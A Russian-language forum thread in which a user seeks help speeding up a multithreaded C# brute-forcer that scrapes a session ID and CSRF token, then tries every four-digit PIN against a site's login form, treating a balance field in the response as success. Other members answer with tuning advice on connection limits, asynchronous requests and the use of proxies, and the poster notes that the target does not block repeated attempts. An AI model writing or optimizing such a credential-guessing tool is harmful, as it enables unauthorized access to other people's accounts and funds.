Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

C# многопотоки и bruteforce

-

Вопросы и ответы, обсуждения

- Ваши вопросы по C# только в данном разделе

Ответ
 
Опции темы
Старый 10.12.2013, 09:47   #1
 Разведчик
Аватар для slejpni
 
slejpni никому не известный тип
Регистрация: 01.03.2012
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
Question C# многопотоки и bruteforce

Всем доброго времени суток, столкнулся с проблемой при написании банального брутфорса, точней с проблемой при переписании с perl скрипта на C#

Дилема в том, что perl отрабатывает в 20 потоков ~ 100 p\s за 3 секунды
На C# этот же вариант отрабатывает ~ 10-15 p\s


Просто хотелось бы, что бы вы глянули на куски кода, может где-то я ошибся?

Код:
        private void button1_Click(object sender, EventArgs e)
        {
            Thread tr = new Thread(delegate()
            {
                string ans = SendPost("https://site", "", 0, "");
                Match sidregex = new Regex(@"(sid=\S+;)", RegexOptions.Compiled | RegexOptions.IgnoreCase).Match(ans);
                sid = sidregex.Groups[1].Value;

                Invoke(new ParametrizedMethodInvoker(debuger), "SID: " + sid);

                ans = SendPost("https://site/login", "", 0, sid);
                sidregex = new Regex(@"""csrf_token"", '(\S+)'", RegexOptions.Compiled | RegexOptions.IgnoreCase).Match(ans);
                token = sidregex.Groups[1].Value;

                Invoke(new ParametrizedMethodInvoker(debuger), "Token: " + token);

                for (int i = 0; i < 20; i++)
                    (new Thread(new ThreadStart(brute))).Start();

            });
            tr.Start(); 
        }
В потоке вызывается цикл, где идёт перебор диапазона 1000 - 9999

Код:
        public void brute()
        {
          double pwd;
          int flag = 0;
          int i = 0;


          while (true)
          {
              lock (ACClocker)
              {
                  if (flag == 1 || ACCs.Count == 0)
                  {
                      break;
                  }

                  pwd = ACCs.Dequeue();
              }
              
              string ans = SendPost("https://site/auth/enter", "login=login&password="+pwd.toString(), 1, sid);

              if (ans.Contains("oBalanceSum"))
              {
                  MessageBox.Show(pwd.ToString());
                  flag = 1;
              }
          }
        }

Последний раз редактировалось slejpni; 10.12.2013 в 09:51.
  Ответить с цитированием
Старый 10.12.2013, 10:03   #2
 Разведчик
Аватар для NerdyCodingKid
 
NerdyCodingKid на правильном путиNerdyCodingKid на правильном пути
Регистрация: 18.11.2013
Сообщений: 3
Популярность: 197
Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

1. Вероятно, так-же тормозит работу поиск подстроки.
2. Используй StringBuilder для конкатенации строк (хотя тут можно было-бы вообще все нужные пароли/запросы просто создать в памяти заранее - пусть бы ушло пару мегабайт на строки, но получилось-бы быстрее)
3. Что есть AccLocker? Зачем потокам тут блочить друг друга?
4. Неужели до сих пор существуют ресурсы, что не блочат кучу попыток авторизации с одного айпи?

Последний раз редактировалось NerdyCodingKid; 10.12.2013 в 10:07.
  Ответить с цитированием
Старый 10.12.2013, 10:06   #3
Заблокирован
 Рыцарь-капитан
Аватар для warl0ck
 
warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(
Регистрация: 29.01.2010
Сообщений: 547
Популярность: 41279
Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

может у тебя по дефолту максимальное кол-во соединений 2?
  Ответить с цитированием
Старый 10.12.2013, 10:25   #4
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от NerdyCodingKidПосмотреть сообщение
3. Что есть AccLocker? Зачем потокам тут блочить друг друга?

так из очереди же аккаунты тянет, операция не атомарная, приходится делать ее таковой локом

Добавлено через 3 минуты
Кстати, о самой проблеме, а что в методе SendPost? Кроме него может тормозить только Invoke ибо идет обращение к интерфейсу, а это затратно
________________
Talk is cheap. Show me the code
— Linus Torvalds

Последний раз редактировалось Yukikaze; 10.12.2013 в 10:29. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 10.12.2013, 11:33   #5
 Разведчик
Аватар для NerdyCodingKid
 
NerdyCodingKid на правильном путиNerdyCodingKid на правильном пути
Регистрация: 18.11.2013
Сообщений: 3
Популярность: 197
Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от YukikazeПосмотреть сообщение
так из очереди же аккаунты тянет, операция не атомарная, приходится делать ее таковой локом

А в чём проблема? Почему нельзя сделать несколько очередей для разных потоков, чтобы они друг друга не придерживали?
  Ответить с цитированием
Старый 10.12.2013, 11:41   #6
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Почему нельзя, можно, но это не рационально в плане распределения задач. К примеру мы разделили пул задач на 5 очередей, по одному на каждый поток. Первый и пятый потоки закончили свою работу раньше других и ушли в простой, с оставшейся работой расправляются уже 3 потока вместо 5, а например если еще один поток почистит свой пул то вообще 2 потока останется
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Старый 10.12.2013, 12:01   #7
 Разведчик
Аватар для NerdyCodingKid
 
NerdyCodingKid на правильном путиNerdyCodingKid на правильном пути
Регистрация: 18.11.2013
Сообщений: 3
Популярность: 197
Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

М. И? А не получится ли так, что оставшиеся два потока получат то время, которое отжирали другие три, когда эти три закончат свою работу?
  Ответить с цитированием
Старый 10.12.2013, 12:18   #8
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от NerdyCodingKidПосмотреть сообщение
М. И? А не получится ли так, что оставшиеся два потока получат то время, которое отжирали другие три, когда эти три закончат свою работу?

Всё упирается в скорость сети, все оптимизации парса и тд. сталкиваются с тем, что выполнение парса это 0.5ms, а веб запрос 50ms+... Именно потому лучше что бы работало как можно больше потоков одновременно...
  Ответить с цитированием
Старый 10.12.2013, 12:21   #9
 Разведчик
Аватар для NerdyCodingKid
 
NerdyCodingKid на правильном путиNerdyCodingKid на правильном пути
Регистрация: 18.11.2013
Сообщений: 3
Популярность: 197
Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Здравая мысль. В таком случае, стоит пускать каждый запрос асинхронно.
  Ответить с цитированием
Старый 10.12.2013, 12:25   #10
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от NerdyCodingKidПосмотреть сообщение
Здравая мысль. В таком случае, стоит пускать каждый запрос асинхронно.

Абсолютно асинхронно не выйдет. Допустим у нас идет брут, многопоток, прокси. Вроде всё просто... но 2х факторная авторизация и если еще 1 поток использует тот же IP то может возникнуть конфликт... одновременный доступ с 1го IP...
  Ответить с цитированием
Старый 10.12.2013, 12:28   #11
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

В чем смысл асинхронности запроса если начать обрабатывать данные ты сможешь только после того как их получишь, только код усложняется
ЗЫ Распараллеливание != асинхронность
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Старый 10.12.2013, 12:38   #12
 Разведчик
Аватар для slejpni
 
slejpni никому не известный тип
Регистрация: 01.03.2012
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от warl0ckПосмотреть сообщение
может у тебя по дефолту максимальное кол-во соединений 2?

эмм.. я не ограничивал кол-во коннектов.. где глянуть?


Цитата:
Сообщение от NerdyCodingKid
может у тебя по дефолту максимальное кол-во соединений 2?

1. Вероятно, так-же тормозит работу поиск подстроки.
2. Используй StringBuilder для конкатенации строк (хотя тут можно было-бы вообще все нужные пароли/запросы просто создать в памяти заранее - пусть бы ушло пару мегабайт на строки, но получилось-бы быстрее)
3. Что есть AccLocker? Зачем потокам тут блочить друг друга?
4. Неужели до сих пор существуют ресурсы, что не блочат кучу попыток авторизации с одного айпи?


1,2 кхм, я не задумывался над этим.. на сколько критичен такой метод?
в perl я использовал регулярку для поиска строки. Можете привести пример, если не сложно!?..

3. AccLocker как и сказали выше для перебора словаря.
По сути там массив чисел от 1000 до 9999 - если можно как-то по другому их перебрать, дайте знать пожалуйста..

4. Слава богам, да.. есть такой ресурс.. ради которого нужно переписать скрипт.. =)



Цитата:
Сообщение от Yukikaze
Кстати, о самой проблеме, а что в методе SendPost? Кроме него может тормозить только Invoke ибо идет обращение к интерфейсу, а это затратно

кхм, есть два инвока.. для отслеживания прогресса. кхм, попробую убрать.. но нужно как-то всё таки знать сколько отработано.. =(

Цитата:
Сообщение от Yukikaze
Здравая мысль. В таком случае, стоит пускать каждый запрос асинхронно.

Можете подсказать как реализовать или в какую сторон копать?
  Ответить с цитированием
Старый 10.12.2013, 12:41   #13
 Сержант
Аватар для Yukikaze
 
Yukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядомYukikaze в состоянии испепелить взглядом
Регистрация: 01.10.2011
Сообщений: 128
Популярность: 5723
Сказал(а) спасибо: 25
Поблагодарили 174 раз(а) в 105 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от slejpniПосмотреть сообщение
кхм, есть два инвока.. для отслеживания прогресса. кхм, попробую убрать..

то есть возможность торможения из за реализации метода SendPost вы даже не рассматриваете?
________________
Talk is cheap. Show me the code
— Linus Torvalds
  Ответить с цитированием
Старый 10.12.2013, 12:42   #14
Заблокирован
 Рыцарь-капитан
Аватар для warl0ck
 
warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(
Регистрация: 29.01.2010
Сообщений: 547
Популярность: 41279
Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от slejpniПосмотреть сообщение
эмм.. я не ограничивал кол-во коннектов.. где глянуть?

[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 10.12.2013, 12:42   #15
 Разведчик
Аватар для NerdyCodingKid
 
NerdyCodingKid на правильном путиNerdyCodingKid на правильном пути
Регистрация: 18.11.2013
Сообщений: 3
Популярность: 197
Сказал(а) спасибо: 0
Поблагодарили 10 раз(а) в 9 сообщениях
 
По умолчанию Re: C# многопотоки и bruteforce

Цитата:
Сообщение от SinyssПосмотреть сообщение
одновременный доступ с 1го IP...

Э...Т.е., тащемта, например, я немогу зайти одновременно в двух вкладках на одну страницу в браузере, например?

Добавлено через 2 минуты
Цитата:
Сообщение от slejpniПосмотреть сообщение
[COLOR="White"]
Можете подсказать как реализовать или в какую сторон копать?

[Ссылки могут видеть только зарегистрированные пользователи. ] первый что нагуглился. Осмотрел по диагонали, выглядит правдоподобно.

Последний раз редактировалось NerdyCodingKid; 10.12.2013 в 12:45. Причина: Добавлено сообщение
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] Многопоточность =PaLeTiZaToR= Вопросы и ответы, обсуждения 0 09.10.2012 22:03
[Помогите!] Многопоточность! anonops Вопросы и ответы, обсуждения 7 25.04.2012 21:39
[Помогите!] Многопоточность =PaLeTiZaToR= Вопросы и ответы, обсуждения 2 08.01.2012 19:23

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 11:47.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net